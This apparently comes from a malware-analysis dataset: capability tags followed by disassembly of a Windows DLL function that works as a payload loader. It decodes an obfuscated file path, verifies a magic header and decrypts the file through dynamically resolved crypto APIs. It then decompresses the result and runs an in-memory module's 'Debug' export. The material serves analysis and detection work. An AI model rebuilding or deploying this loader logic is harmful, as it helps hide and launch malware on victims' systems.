Function at 0x180001000
Capabilities:
Encode data using xor
Get file size
Query environment variable
Read file on windows

Disassembly:
push rbp
lea rbp, [rsp - 0xf0]
sub rsp, 0x1f0
mov rax, qword [0x180006008]
xor rax, rsp
mov qword [rbp + 0xc0], rax
cmp byte [0x180006668], 0
jne 0x180001811
mov qword [rsp + 0x1e8], r12
mov byte [0x180006668], 1
call fcn.180001bc0
movdqa xmm2, xmmword [0x180004390]
xor r12d, r12d
mov eax, r12d
mov dword [rbp - 0x80], 0x82859be9
mov dword [rbp - 0x7c], 0xe99e8588
mov dword [rbp - 0x78], 0xafa58190
mov dword [rbp - 0x74], 0xa3bfa3be
mov dword [rbp - 0x70], 0x82e2b8aa
mov dword [rbp - 0x6c], 0x8a909889
mov dword [rbp - 0x68], 0xa9a1adbe
mov dword [rbp - 0x64], 0xa7bea3bb
mov dword [rbp - 0x60], 0xb8a9a290
mov dword [rbp - 0x5c], 0xa8e2b4aa
mov word [rbp - 0x58], 0xb8ad
mov byte [rbp - 0x56], 0xcc
movdqu xmm0, xmmword [rbp + rax - 0x80]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rbp + rax - 0x80], xmm1
add rax, 0x10
cmp rax, 0x20
jl 0x1800010a1
mov eax, 0x20
nop dword [rax]
nop dword [rax + rax]
xor byte [rbp + rax - 0x80], 0xcc
inc rax
cmp rax, 0x2b
jl 0x1800010d0
xor edx, edx
lea rcx, [rbp - 0x50]
mov r8d, 0x104
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x104
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
je 0x180001809
xor r9d, r9d
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x1e0], r13
lea rcx, [rbp - 0x50]
mov dword [rsp + 0x28], r12d
mov edx, 0x80000000
mov qword [rsp + 0x1d8], r14
lea r8d, [r9 + 3]
mov dword [rsp + 0x58], r12d
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r13, r12
mov qword [rsp + 0x50], r12
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x1800017f9
mov qword [rsp + 0x200], rbx
xor edx, edx
mov qword [rsp + 0x208], rsi
mov rcx, rax
mov qword [rsp + 0x210], rdi
mov qword [rsp + 0x1d0], r15
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
cmp eax, 0x20
jbe 0x180001648
lea r9, [rsp + 0x74]
mov dword [rsp + 0x70], r12d
mov r8d, 4
mov dword [rsp + 0x74], r12d
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x20], r12
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180001648
cmp dword [rsp + 0x70], 0x79a1246c
jne 0x180001648
lea eax, [rbx - 4]
mov ecx, eax
mov dword [rsp + 0x58], eax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8d, dword [rsp + 0x58]
lea r9, [rsp + 0x74]
mov rdx, rax
mov qword [rsp + 0x20], r12
mov rcx, r14
mov r15, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180001648
movdqa xmm0, xmmword [0x180004370]
mov ecx, 0xe
movdqu xmmword [rsp + 0x40], xmm0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
mov r9, r12
lea rax, [0x1800042f0]
sub rax, rbx
nop
mov rcx, r9
lea r8, [r9 + rbx]
and ecx, 0xf
movzx edx, byte [rsp + rcx + 0x40]
xor dl, byte [rax + r8]
xor dl, r9b
inc r9
mov byte [r8], dl
cmp r9, 0xe
jb 0x180001230
mov rcx, rbx
call qword [0x180006660]
mov rcx, rbx
mov qword [0x180006678], rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rdi, qword [0x1800066c0]
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x60], r12
test rdi, rdi
jne 0x1800012f2
movdqa xmm0, xmmword [0x180004380]
mov ecx, 0x16
mov rdi, qword [0x180006678]
movdqu xmmword [rsp + 0x40], xmm0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
mov r9, r12
lea rax, [0x180004270]
sub rax, rbx
mov rcx, r9
lea r8, [r9 + rbx]
and ecx, 0xf
movzx edx, byte [rsp + rcx + 0x40]
xor dl, byte [rax + r8]
xor dl, r9b
inc r9
mov byte [r8], dl
cmp r9, 0x16
jb 0x1800012b1
mov rdx, rbx
mov rcx, rdi
call qword [0x180006670]
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov qword [0x1800066c0], rdi
mov r9d, 0x18
mov dword [rsp + 0x20], 0xf0000000
xor r8d, r8d
lea rcx, [rsp + 0x68]
xor edx, edx
call rdi
test eax, eax
je 0x180001648
mov rdi, qword [0x1800066a0]
mov rsi, qword [rsp + 0x68]
test rdi, rdi
jne 0x1800013a1
movdqa xmm0, xmmword [0x180004380]
mov ecx, 0x10
mov rdi, qword [0x180006678]
movdqu xmmword [rsp + 0x40], xmm0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
mov r9, r12
lea rax, [0x1800042c8]
sub rax, rbx
nop word [rax + rax]
mov rcx, r9
lea r8, [r9 + rbx]
and ecx, 0xf
movzx edx, byte [rsp + rcx + 0x40]
xor dl, byte [rax + r8]
xor dl, r9b
inc r9
mov byte [r8], dl
cmp r9, 0x10
jb 0x180001360
mov rdx, rbx
mov rcx, rdi
call qword [0x180006670]
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov qword [0x1800066a0], rdi
xor r9d, r9d
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea rdx, [0x180006038]
mov rcx, rsi
mov dword [rsp + 0x20], 1
lea r8d, [r9 + 0x1c]
call rdi
test eax, eax
je 0x1800015b6
mov rdi, qword [0x1800066a8]
mov rsi, qword [rsp + 0x60]
mov dword [rsp + 0x78], 2
test rdi, rdi
jne 0x180001461
movdqa xmm0, xmmword [0x180004380]
mov ecx, 0x12
mov rdi, qword [0x180006678]
movdqu xmmword [rsp + 0x40], xmm0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
mov r9, r12
lea rax, [0x1800042d8]
sub rax, rbx
nop word [rax + rax]
mov rcx, r9
lea r8, [r9 + rbx]
and ecx, 0xf
movzx edx, byte [rsp + rcx + 0x40]
xor dl, byte [rax + r8]
xor dl, r9b
inc r9
mov byte [r8], dl
cmp r9, 0x12
jb 0x180001420
mov rdx, rbx
mov rcx, rdi
call qword [0x180006670]
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov qword [0x1800066a8], rdi
xor r9d, r9d
lea r8, [rsp + 0x78]
mov rcx, rsi
lea edx, [r9 + 4]
call rdi
mov rdi, qword [0x1800066b0]
mov rsi, qword [rsp + 0x60]
test rdi, rdi
jne 0x180001501
movdqa xmm0, xmmword [0x180004380]
mov ecx, 0xe
mov rdi, qword [0x180006678]
movdqu xmmword [rsp + 0x40], xmm0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
mov r9, r12
lea rax, [0x1800042b8]
sub rax, rbx
nop dword [rax]
nop word [rax + rax]
mov rcx, r9
lea r8, [r9 + rbx]
and ecx, 0xf
movzx edx, byte [rsp + rcx + 0x40]
xor dl, byte [rax + r8]
xor dl, r9b
inc r9
mov byte [r8], dl
cmp r9, 0xe
jb 0x1800014c0
mov rdx, rbx
mov rcx, rdi
call qword [0x180006670]
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov qword [0x1800066b0], rdi
lea rax, [rsp + 0x58]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r15
mov rcx, rsi
call rdi
mov rdi, qword [0x180006650]
test eax, eax
mov rsi, qword [rsp + 0x60]
cmovne r13, r15
mov qword [rsp + 0x50], r13
test rdi, rdi
jne 0x1800015b1
movdqa xmm0, xmmword [0x180004380]
mov ecx, 0x11
mov rdi, qword [0x180006678]
movdqu xmmword [rsp + 0x40], xmm0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
mov r9, r12
lea rax, [0x180004288]
sub rax, rbx
nop dword [rax]
mov rcx, r9
lea r8, [r9 + rbx]
and ecx, 0xf
movzx edx, byte [rsp + rcx + 0x40]
xor dl, byte [r8 + rax]
xor dl, r9b
inc r9
mov byte [r8], dl
cmp r9, 0x11
jb 0x180001570
mov rdx, rbx
mov rcx, rdi
call qword [0x180006670]
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov qword [0x180006650], rdi
mov rcx, rsi
call rdi
mov rdi, qword [0x1800066b8]
mov rsi, qword [rsp + 0x68]
test rdi, rdi
jne 0x180001641
movdqa xmm0, xmmword [0x180004380]
mov ecx, 0x15
mov rdi, qword [0x180006678]
movdqu xmmword [rsp + 0x40], xmm0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
mov r9, r12
lea rax, [0x1800042a0]
sub rax, rbx
nop word [rax + rax]
mov rcx, r9
lea r8, [r9 + rbx]
and ecx, 0xf
movzx edx, byte [rsp + rcx + 0x40]
xor dl, byte [r8 + rax]
xor dl, r9b
inc r9
mov byte [r8], dl
cmp r9, 0x15
jb 0x180001600
mov rdx, rbx
mov rcx, rdi
call qword [0x180006670]
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov qword [0x1800066b8], rdi
xor edx, edx
mov rcx, rsi
call rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r13, r13
je 0x1800017d9
mov eax, 3
mul dword [rsp + 0x58]
mov ecx, eax
mov rax, 0xffffffffffffffff
cmovo rcx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov ebx, dword [rsp + 0x58]
mov ecx, 0x2000
mov rsi, qword [rsp + 0x50]
mov rdi, rax
mov qword [rsp + 0x60], rax
mov r14d, r12d
lea r13d, [rbx + rbx*2]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
lea rcx, [rsi + rbx]
mov edx, 0x20
mov qword [rsp + 0x68], rcx
mov ebx, 0xfee
mov r8d, ebx
mov rcx, rax
mov r15, rax
call sub.VCRUNTIME140.dll_memset
mov r9d, r12d
nop dword [rax]
mov rax, qword [rsp + 0x68]
shr r9d, 1
bt r9d, 8
jb 0x1800016e6
cmp rsi, rax
jae 0x18000177b
movzx r9d, byte [rsi]
inc rsi
or r9d, 0xff00
cmp rsi, rax
jae 0x18000177b
movzx ecx, byte [rsi]
inc rsi
test r9b, 1
je 0x180001719
movsxd rax, ebx
inc r14d
mov byte [rax + r15], cl
mov byte [rdi], cl
inc rdi
cmp r14d, r13d
jg 0x18000177b
inc ebx
and ebx, 0xfff
jmp 0x1800016c0
mov r10d, ecx
cmp rsi, rax
jae 0x18000177b
movzx r8d, byte [rsi]
mov edx, r12d
mov eax, r8d
inc rsi
and eax, 0xf0
and r8d, 0xf
shl eax, 4
or r10d, eax
add r8d, 2
lea eax, [rdx + r10]
inc r14d
and eax, 0xfff
movzx ecx, byte [rax + r15]
movsxd rax, ebx
inc ebx
mov byte [rdi], cl
inc rdi
mov byte [rax + r15], cl
cmp r14d, r13d
jg 0x1800016c0
and ebx, 0xfff
inc edx
cmp edx, r8d
jle 0x180001741
jmp 0x1800016c0
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
sub edi, ebx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
test edi, edi
jle 0x1800017a8
movsxd rdx, edi
mov rcx, rbx
call fcn.1800025c0
mov r12, rax
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
test r12, r12
je 0x1800017d9
lea rdx, [rsp + 0x78]
mov dword [rsp + 0x78], 0x75626544
mov rcx, r12
mov word [rsp + 0x7c], 0x67
call fcn.180002d00
test rax, rax
je 0x1800017d9
call rax
mov rsi, qword [rsp + 0x208]
mov rdi, qword [rsp + 0x210]
mov rbx, qword [rsp + 0x200]
mov r15, qword [rsp + 0x1d0]
mov r13, qword [rsp + 0x1e0]
mov r14, qword [rsp + 0x1d8]
mov r12, qword [rsp + 0x1e8]
mov rcx, qword [rbp + 0xc0]
xor rcx, rsp
call fcn.180002eb0
add rsp, 0x1f0
pop rbp
ret